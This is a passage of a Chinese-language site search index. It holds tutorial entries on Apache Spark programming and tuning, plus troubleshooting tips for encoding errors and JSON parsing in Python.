","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:2:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#rdd-基本概念"},{"categories":null,"collections":null,"content":"RDD 基本概念 RDD (Resilient Distributed Dataset): 弹性分布式数据集 特性 不可变性: RDD 一旦创建不可修改 分区性: 数据分布在多个分区 容错性: 通过血统(Lineage)恢复丢失数据 惰性求值: 只有在 Action 操作时才会执行 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:2:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#特性"},{"categories":null,"collections":null,"content":"RDD 创建 import org.apache.spark.{SparkConf, SparkContext} val conf = new SparkConf().setAppName(\"SparkExample\").setMaster(\"local[*]\") val sc = new SparkContext(conf) // 1. 从集合创建 val rdd1 = sc.parallelize(List(1, 2, 3, 4, 5)) val rdd2 = sc.makeRDD(Array(\"a\", \"b\", \"c\")) // 2. 从外部存储创建 val rdd3 = sc.textFile(\"hdfs://path/to/file\") val rdd4 = sc.wholeTextFiles(\"hdfs://path/to/directory\") // 3. 从其他 RDD 创建 val rdd5 = rdd1.map(_ * 2) ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:2:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#rdd-创建"},{"categories":null,"collections":null,"content":"Transformation 操作 val data = sc.parallelize(List(1, 2, 3, 4, 5)) // 1. map - 一对一转换 val mapped = data.map(_ * 2) // 2. filter - 过滤 val filtered = data.filter(_ % 2 == 0) // 3. flatMap - 一对多转换 val words = sc.parallelize(List(\"hello world\", \"spark scala\")) val flatMapped = words.flatMap(_.split(\" \")) // 4. distinct - 去重 val distincted = data.distinct() // 5. union - 合并 val rdd1 = sc.parallelize(List(1, 2, 3)) val rdd2 = sc.parallelize(List(4, 5, 6)) val unioned = rdd1.union(rdd2) // 6. intersection - 交集 val intersected = rdd1.intersection(rdd2) // 7. groupByKey - 按键分组 val pairs = sc.parallelize(List((\"a\", 1), (\"b\", 2), (\"a\", 3))) val grouped = pairs.groupByKey() // 8. reduceByKey - 按键聚合 val reduced = pairs.reduceByKey(_ + _) // 9. sortByKey - 按键排序 val sorted = pairs.sortByKey() // 10. join - 连接 val rdd3 = sc.parallelize(List((\"a\", \"x\"), (\"b\", \"y\"))) val joined = pairs.join(rdd3) ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:2:3","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#transformation-操作"},{"categories":null,"collections":null,"content":"Action 操作 val data = sc.parallelize(List(1, 2, 3, 4, 5)) // 1. collect - 收集所有元素到 Driver val collected = data.collect() // 2. count - 计算元素数 val count = data.count() // 3. first - 获取第一个元素 val first = data.first() // 4. take - 获取前 n 个元素 val taken = data.take(3) // 5. reduce - 聚合所有元素 val sum = data.reduce(_ + _) // 6. fold - 带初始值的聚合 val folded = data.fold(0)(_ + _) // 7. aggregate - 复杂聚合 val (totalSum, totalCount) = data.aggregate((0, 0))( (acc, value) =\u003e (acc._1 + value, acc._2 + 1), (acc1, acc2) =\u003e (acc1._1 + acc2._1, acc1._2 + acc2._2) ) // 8. foreach - 对每个元素执行操作 data.foreach(println) // 9. saveAsTextFile - 保存为文本文件 data.saveAsTextFile(\"hdfs://path/to/output\") ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:2:4","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#action-操作"},{"categories":null,"collections":null,"content":"DataFrame \u0026 Dataset ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:3:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#dataframe--dataset"},{"categories":null,"collections":null,"content":"DataFrame 创建 import org.apache.spark.sql.{SparkSession, DataFrame} val spark = SparkSession.builder() .appName(\"DataFrameExample\") .master(\"local[*]\") .getOrCreate() import spark.implicits._ // 1. 从 RDD 创建 DataFrame case class Person(name: String, age: Int, city: String) val peopleRDD = spark.sparkContext.parallelize(List( Person(\"Alice\", 25, \"NYC\"), Person(\"Bob\", 30, \"LA\"), Person(\"Charlie\", 35, \"Chicago\") )) val peopleDF = peopleRDD.toDF() // 2. 从文件创建 DataFrame val df = spark.read .option(\"header\", \"true\") .option(\"inferSchema\", \"true\") .csv(\"path/to/file.csv\") // 3. 从 JSON 创建 val jsonDF = spark.read.json(\"path/to/file.json\") ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:3:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#dataframe-创建"},{"categories":null,"collections":null,"content":"DataFrame 操作 // 1. 查看数据 df.show() df.describe().show() // 2. 选择列 df.select(\"name\", \"age\").show() df.select($\"name\", $\"age\" + 1).show() // 3. 过滤 df.filter($\"age\" \u003e 25).show() df.where(\"age \u003e 25\").show() // 4. 分组聚合 df.groupBy(\"city\").count().show() df.groupBy(\"city\").agg(avg(\"age\"), max(\"age\")).show() // 5. 排序 df.orderBy($\"age\".desc).show() df.sort(\"name\").show() // 6. 连接 val df2 = spark.createDataFrame(List( (\"NYC\", \"NY\"), (\"LA\", \"CA\"), (\"Chicago\", \"IL\") )).toDF(\"city\", \"state\") df.join(df2, \"city\").show() // 7. 窗口函数 import org.apache.spark.sql.expressions.Window import org.apache.spark.sql.functions._ val windowSpec = Window.partitionBy(\"city\").orderBy($\"age\".desc) df.withColumn(\"rank\", row_number().over(windowSpec)).show() ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:3:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#dataframe-操作"},{"categories":null,"collections":null,"content":"Dataset 类型安全 // 创建 Dataset val ds: Dataset[Person] = df.as[Person] // 类型安全操作 val adults = ds.filter(_.age \u003e= 18) val names = ds.map(_.name) // 编译时类型检查 // ds.filter(_.salary \u003e 1000) // 编译错误，Person 没有 salary 字段 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:3:3","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#dataset-类型安全"},{"categories":null,"collections":null,"content":"Spark SQL ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:4:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#spark-sql"},{"categories":null,"collections":null,"content":"SQL 查询 // 注册临时视图 df.createOrReplaceTempView(\"people\") // SQL 查询 val result = spark.sql(\"\"\" SELECT city, COUNT(*) as count, AVG(age) as avg_age FROM people WHERE age \u003e 20 GROUP BY city ORDER BY count DESC \"\"\") result.show() // 复杂查询 val complexQuery = spark.sql(\"\"\" SELECT name, age, city, ROW_NUMBER() OVER (PARTITION BY city ORDER BY age DESC) as rank FROM people \"\"\") ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:4:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#sql-查询"},{"categories":null,"collections":null,"content":"表管理 // 列出所有表 spark.catalog.listTables().show() // 缓存表 spark.catalog.cacheTable(\"people\") spark.catalog.uncacheTable(\"people\") // 删除临时视图 spark.catalog.dropTempView(\"people\") ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:4:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#表管理"},{"categories":null,"collections":null,"content":"Spark Streaming ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:5:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#spark-streaming"},{"categories":null,"collections":null,"content":"DStream 编程 import org.apache.spark.streaming.{StreamingContext, Seconds} val ssc = new StreamingContext(spark.sparkContext, Seconds(1)) // 1. 从 socket 创建流 val lines = ssc.socketTextStream(\"localhost\", 9999) // 2. 转换操作 val words = lines.flatMap(_.split(\" \")) val pairs = words.map(word =\u003e (word, 1)) val wordCounts = pairs.reduceByKey(_ + _) // 3. 输出操作 wordCounts.print() // 启动流处理 ssc.start() ssc.awaitTermination() ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:5:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#dstream-编程"},{"categories":null,"collections":null,"content":"窗口操作 // 窗口聚合 val windowedWordCounts = pairs.reduceByKeyAndWindow( (a: Int, b: Int) =\u003e a + b, // reduce 函数 (a: Int, b: Int) =\u003e a - b, // inverse reduce 函数 Seconds(30), // 窗口长度 Seconds(10) // 滑动间隔 ) // 状态更新 def updateFunction(newValues: Seq[Int], runningCount: Option[Int]): Option[Int] = { val newCount = newValues.sum + runningCount.getOrElse(0) Some(newCount) } val stateDstream = pairs.updateStateByKey[Int](updateFunction) ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:5:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#窗口操作"},{"categories":null,"collections":null,"content":"Structured Streaming // 创建流式 DataFrame val df = spark .readStream .format(\"socket\") .option(\"host\", \"localhost\") .option(\"port\", 9999) .load() // 处理流数据 val words = df.as[String].flatMap(_.split(\" \")) val wordCounts = words.groupBy(\"value\").count() // 输出结果 val query = wordCounts.writeStream .outputMode(\"complete\") .format(\"console\") .trigger(Trigger.ProcessingTime(\"10 seconds\")) .start() query.awaitTermination() ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:5:3","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#structured-streaming"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:6:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#性能优化"},{"categories":null,"collections":null,"content":"缓存策略 import org.apache.spark.storage.StorageLevel // 1. 基本缓存 val cachedRDD = rdd.cache() // MEMORY_ONLY val persistedRDD = rdd.persist(StorageLevel.MEMORY_AND_DISK) // 2. DataFrame 缓存 df.cache() df.persist(StorageLevel.MEMORY_AND_DISK_SER) // 3. 不同存储级别 StorageLevel.MEMORY_ONLY // 仅内存 StorageLevel.MEMORY_AND_DISK // 内存+磁盘 StorageLevel.MEMORY_ONLY_SER // 内存序列化 StorageLevel.DISK_ONLY // 仅磁盘 StorageLevel.MEMORY_AND_DISK_2 // 内存+磁盘，2副本 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:6:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#缓存策略"},{"categories":null,"collections":null,"content":"分区优化 // 1. 调整分区数 val repartitioned = rdd.repartition(4) // 增加分区 val coalesced = rdd.coalesce(2) // 减少分区 // 2. 自定义分区器 class CustomPartitioner(numPartitions: Int) extends Partitioner { override def numPartitions: Int = numPartitions override def getPartition(key: Any): Int = { key.hashCode() % numPartitions } } val partitioned = pairs.partitionBy(new CustomPartitioner(4)) // 3. 数据本地性 val localData = sc.textFile(\"hdfs://path\", minPartitions = 4) ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:6:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#分区优化"},{"categories":null,"collections":null,"content":"广播变量与累加器 // 1. 广播变量 val broadcastVar = sc.broadcast(List(1, 2, 3)) val result = rdd.map(x =\u003e x * broadcastVar.value.sum) // 2. 累加器 val accum = sc.longAccumulator(\"My Accumulator\") rdd.foreach(x =\u003e accum.add(x)) println(s\"Accumulator value: ${accum.value}\") // 3. 自定义累加器 class VectorAccumulator extends AccumulatorV2[Vector, Vector] { private var _sum = Vector.zeros(3) override def isZero: Boolean = _sum == Vector.zeros(3) override def copy(): VectorAccumulator = new VectorAccumulator override def reset(): Unit = _sum = Vector.zeros(3) override def add(v: Vector): Unit = _sum += v override def merge(other: AccumulatorV2[Vector, Vector]): Unit = { _sum += other.asInstanceOf[VectorAccumulator]._sum } override def value: Vector = _sum } ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:6:3","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#广播变量与累加器"},{"categories":null,"collections":null,"content":"SQL 优化 // 1. 启用 CBO (基于成本的优化) spark.conf.set(\"spark.sql.cbo.enabled\", \"true\") // 2. 启用代码生成 spark.conf.set(\"spark.sql.codegen.wholeStage\", \"true\") // 3. 广播 Join 优化 spark.conf.set(\"spark.sql.adaptive.enabled\", \"true\") spark.conf.set(\"spark.sql.adaptive.coalescePartitions.enabled\", \"true\") // 4. 谓词下推 val optimizedDF = df.filter($\"age\" \u003e 18) // Filter 下推到数据源 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:6:4","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#sql-优化"},{"categories":null,"collections":null,"content":"知识要点 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#知识要点"},{"categories":null,"collections":null,"content":"1. RDD vs DataFrame vs Dataset 特性 RDD DataFrame Dataset 类型安全 编译时 运行时 编译时 性能优化 无 Catalyst优化器 Catalyst优化器 API风格 函数式 关系型 类型安全的关系型 内存使用 Java对象 二进制格式 二进制格式 序列化 Java序列化 自定义编码器 自定义编码器 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#1-rdd-vs-dataframe-vs-dataset"},{"categories":null,"collections":null,"content":"2. Spark 内存管理 内存分配 Spark 内存 = 堆内存 × spark.memory.fraction (默认 0.6) ├── 存储内存 (Storage) × 0.5 │ └── 用于缓存 RDD、广播变量 ├── 执行内存 (Execution) × 0.5 │ └── 用于 Shuffle、Join、Sort、Aggregation └── 用户内存 (剩余部分) └── 用于用户自定义数据结构 配置示例 # 1. Executor 内存 --executor-memory 4g # 2. 内存分配比例 --conf spark.memory.fraction=0.6 --conf spark.memory.storageFraction=0.5 # 3. 序列化 --conf spark.serializer=org.apache.spark.serializer.KryoSerializer ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#2-spark-内存管理"},{"categories":null,"collections":null,"content":"2. Spark 内存管理 内存分配 Spark 内存 = 堆内存 × spark.memory.fraction (默认 0.6) ├── 存储内存 (Storage) × 0.5 │ └── 用于缓存 RDD、广播变量 ├── 执行内存 (Execution) × 0.5 │ └── 用于 Shuffle、Join、Sort、Aggregation └── 用户内存 (剩余部分) └── 用于用户自定义数据结构 配置示例 # 1. Executor 内存 --executor-memory 4g # 2. 内存分配比例 --conf spark.memory.fraction=0.6 --conf spark.memory.storageFraction=0.5 # 3. 序列化 --conf spark.serializer=org.apache.spark.serializer.KryoSerializer ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#内存分配"},{"categories":null,"collections":null,"content":"2. Spark 内存管理 内存分配 Spark 内存 = 堆内存 × spark.memory.fraction (默认 0.6) ├── 存储内存 (Storage) × 0.5 │ └── 用于缓存 RDD、广播变量 ├── 执行内存 (Execution) × 0.5 │ └── 用于 Shuffle、Join、Sort、Aggregation └── 用户内存 (剩余部分) └── 用于用户自定义数据结构 配置示例 # 1. Executor 内存 --executor-memory 4g # 2. 内存分配比例 --conf spark.memory.fraction=0.6 --conf spark.memory.storageFraction=0.5 # 3. 序列化 --conf spark.serializer=org.apache.spark.serializer.KryoSerializer ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#配置示例"},{"categories":null,"collections":null,"content":"3. Shuffle 优化 // 1. 预分区 val partitioned = rdd.partitionBy(new HashPartitioner(100)) // 2. 调整并行度 spark.conf.set(\"spark.sql.shuffle.partitions\", \"400\") // 3. 启用外部排序 spark.conf.set(\"spark.sql.execution.useObjectHashAggregateExec\", \"false\") ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:3","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#3-shuffle-优化"},{"categories":null,"collections":null,"content":"4. 数据倾斜处理 val skewedRDD = sc.parallelize(List((\"key1\", 1), (\"key1\", 1), /* 很多 key1 */, (\"key2\", 1))) // 加盐处理 val saltedRDD = skewedRDD.map { case (key, value) =\u003e val salt = Random.nextInt(10) (s\"${key}_$salt\", value) } val result = saltedRDD.reduceByKey(_ + _) .map { case (saltedKey, value) =\u003e val originalKey = saltedKey.split(\"_\")(0) (originalKey, value) } .reduceByKey(_ + _) ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:4","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#4-数据倾斜处理"},{"categories":null,"collections":null,"content":"5. 两阶段聚合 // 第一阶段：局部聚合 val localAgg = rdd.mapPartitions { iter =\u003e iter.toList.groupBy(_._1).map { case (key, values) =\u003e (key, values.map(_._2).sum) }.toIterator } // 第二阶段：全局聚合 val globalAgg = localAgg.reduceByKey(_ + _) ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:5","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#5-两阶段聚合"},{"categories":null,"collections":null,"content":"6. 资源配置建议 # CPU 密集型 --num-executors 10 --executor-cores 5 --executor-memory 2g # 内存密集型 --num-executors 5 --executor-cores 2 --executor-memory 8g # 平衡型 --num-executors 15 --executor-cores 3 --executor-memory 4g ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:6","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#6-资源配置建议"},{"categories":null,"collections":null,"content":"7. 最佳实践 // 推荐 rdd.filter(...).map(...) // 先过滤再转换 // 避免 rdd.map(...).filter(...) // 先转换再过滤 // 减少 Shuffle val broadcastVar = sc.broadcast(smallData) largeRDD.map(x =\u003e x + broadcastVar.value) // 使用广播变量代替 join ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:7","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#7-最佳实践"},{"categories":null,"collections":null,"content":"8. 数据存储格式 // 使用列式存储 df.write .mode(\"overwrite\") .option(\"compression\", \"snappy\") .parquet(\"path/to/output\") // Parquet 格式 // 分区存储 df.write .partitionBy(\"year\", \"month\") .parquet(\"path/to/partitioned/output\") ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:7:8","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#8-数据存储格式"},{"categories":null,"collections":null,"content":"数据处理问题 数据采集、解析和存储中的常见问题及解决方案。 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:0:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#数据处理问题"},{"categories":null,"collections":null,"content":"编码错误 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:1:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#编码错误"},{"categories":null,"collections":null,"content":"UnicodeDecodeError 问题表现: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0 原因: 文件或数据使用了不同的编码格式 解决方案: 1. 自动检测编码 import chardet # 检测文件编码 with open('file.txt', 'rb') as f: raw_data = f.read() result = chardet.detect(raw_data) encoding = result['encoding'] confidence = result['confidence'] print(f\"Encoding: {encoding} (Confidence: {confidence})\") # 使用检测到的编码读取 with open('file.txt', 'r', encoding=encoding) as f: content = f.read() 2. 处理网页编码 import requests from chardet import detect response = requests.get(url) # 方法 1: 让 requests 自动检测 response.encoding = response.apparent_encoding text = response.text # 方法 2: 手动检测 encoding = detect(response.content)['encoding'] text = response.content.decode(encoding, errors='ignore') # 方法 3: 尝试常见编码 encodings = ['utf-8', 'gbk', 'gb2312', 'gb18030', 'big5'] for enc in encodings: try: text = response.content.decode(enc) break except UnicodeDecodeError: continue 3. 忽略错误字符 # 忽略无法解码的字符 text = data.decode('utf-8', errors='ignore') # 或替换为 ? text = data.decode('utf-8', errors='replace') # 或使用替代方案 text = data.decode('utf-8', errors='backslashreplace') ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:1:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#unicodedecodeerror"},{"categories":null,"collections":null,"content":"UnicodeDecodeError 问题表现: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0 原因: 文件或数据使用了不同的编码格式 解决方案: 1. 自动检测编码 import chardet # 检测文件编码 with open('file.txt', 'rb') as f: raw_data = f.read() result = chardet.detect(raw_data) encoding = result['encoding'] confidence = result['confidence'] print(f\"Encoding: {encoding} (Confidence: {confidence})\") # 使用检测到的编码读取 with open('file.txt', 'r', encoding=encoding) as f: content = f.read() 2. 处理网页编码 import requests from chardet import detect response = requests.get(url) # 方法 1: 让 requests 自动检测 response.encoding = response.apparent_encoding text = response.text # 方法 2: 手动检测 encoding = detect(response.content)['encoding'] text = response.content.decode(encoding, errors='ignore') # 方法 3: 尝试常见编码 encodings = ['utf-8', 'gbk', 'gb2312', 'gb18030', 'big5'] for enc in encodings: try: text = response.content.decode(enc) break except UnicodeDecodeError: continue 3. 忽略错误字符 # 忽略无法解码的字符 text = data.decode('utf-8', errors='ignore') # 或替换为 ? text = data.decode('utf-8', errors='replace') # 或使用替代方案 text = data.decode('utf-8', errors='backslashreplace') ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:1:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#1-自动检测编码"},{"categories":null,"collections":null,"content":"UnicodeDecodeError 问题表现: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0 原因: 文件或数据使用了不同的编码格式 解决方案: 1. 自动检测编码 import chardet # 检测文件编码 with open('file.txt', 'rb') as f: raw_data = f.read() result = chardet.detect(raw_data) encoding = result['encoding'] confidence = result['confidence'] print(f\"Encoding: {encoding} (Confidence: {confidence})\") # 使用检测到的编码读取 with open('file.txt', 'r', encoding=encoding) as f: content = f.read() 2. 处理网页编码 import requests from chardet import detect response = requests.get(url) # 方法 1: 让 requests 自动检测 response.encoding = response.apparent_encoding text = response.text # 方法 2: 手动检测 encoding = detect(response.content)['encoding'] text = response.content.decode(encoding, errors='ignore') # 方法 3: 尝试常见编码 encodings = ['utf-8', 'gbk', 'gb2312', 'gb18030', 'big5'] for enc in encodings: try: text = response.content.decode(enc) break except UnicodeDecodeError: continue 3. 忽略错误字符 # 忽略无法解码的字符 text = data.decode('utf-8', errors='ignore') # 或替换为 ? text = data.decode('utf-8', errors='replace') # 或使用替代方案 text = data.decode('utf-8', errors='backslashreplace') ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:1:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#2-处理网页编码"},{"categories":null,"collections":null,"content":"UnicodeDecodeError 问题表现: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0 原因: 文件或数据使用了不同的编码格式 解决方案: 1. 自动检测编码 import chardet # 检测文件编码 with open('file.txt', 'rb') as f: raw_data = f.read() result = chardet.detect(raw_data) encoding = result['encoding'] confidence = result['confidence'] print(f\"Encoding: {encoding} (Confidence: {confidence})\") # 使用检测到的编码读取 with open('file.txt', 'r', encoding=encoding) as f: content = f.read() 2. 处理网页编码 import requests from chardet import detect response = requests.get(url) # 方法 1: 让 requests 自动检测 response.encoding = response.apparent_encoding text = response.text # 方法 2: 手动检测 encoding = detect(response.content)['encoding'] text = response.content.decode(encoding, errors='ignore') # 方法 3: 尝试常见编码 encodings = ['utf-8', 'gbk', 'gb2312', 'gb18030', 'big5'] for enc in encodings: try: text = response.content.decode(enc) break except UnicodeDecodeError: continue 3. 忽略错误字符 # 忽略无法解码的字符 text = data.decode('utf-8', errors='ignore') # 或替换为 ? text = data.decode('utf-8', errors='replace') # 或使用替代方案 text = data.decode('utf-8', errors='backslashreplace') ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:1:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#3-忽略错误字符"},{"categories":null,"collections":null,"content":"UnicodeEncodeError 问题表现: UnicodeEncodeError: 'ascii' codec can't encode character '\\u4e2d' 解决方案: # 写入文件时指定编码 with open('output.txt', 'w', encoding='utf-8') as f: f.write(chinese_text) # 打印到控制台 (Windows) import sys import io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8') # JSON 输出保留中文 import json json.dumps(data, ensure_ascii=False, indent=2) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:1:2","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#unicodeencodeerror"},{"categories":null,"collections":null,"content":"JSON 解析失败 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:2:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#json-解析失败"},{"categories":null,"collections":null,"content":"JSONDecodeError 问题表现: json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) 原因分析: 响应不是 JSON 格式 JSON 格式错误 空响应 HTML 错误页面 解决方案: 1. 检查响应内容 import requests import json response = requests.get(url) # 先检查状态码 if response.status_code != 200: print(f\"Error: {response.status_code}\") print(response.text) exit() # 检查 Content-Type content_type = response.headers.get('Content-Type', '') if 'application/json' not in content_type: print(f\"Warning: Content-Type is {content_type}\") # 安全解析 try: data = response.json() except json.JSONDecodeError as e: print(f\"JSON Parse Error: {e}\") print(f\"Response text: {response.text[:500]}\") # 打印前500字符 data = None 2. 处理畸形 JSON import json5 # pip install json5 # json5 可以解析带注释、尾随逗号的 JSON text = ''' { \"name\": \"value\", // 注释 \"items\": [1, 2, 3,], // 尾随逗号 } ''' data = json5.loads(text) 3. 修复常见 JSON 问题 import re import json def fix_json(text): \"\"\"修复常见的 JSON 问题\"\"\" # 移除 JavaScript 注释 text = re.sub(r'//.*?\\n', '\\n', text) text = re.sub(r'/\\*.*?\\*/', '', text, flags=re.DOTALL) # 移除尾随逗号 text = re.sub(r',\\s*}', '}', text) text = re.sub(r',\\s*]', ']', text) # 单引号转双引号 (谨慎使用) # text = text.replace(\"'\", '\"') return text # 使用 text = response.text fixed_text = fix_json(text) data = json.loads(fixed_text) 4. 从 HTML 中提取 JSON import re import json from bs4 import BeautifulSoup html = response.text # 方法 1: 从 script 标签提取 soup = BeautifulSoup(html, 'lxml') script = soup.find('script', {'id': 'initial-data'}) if script: data = json.loads(script.string) # 方法 2: 使用正则提取 match = 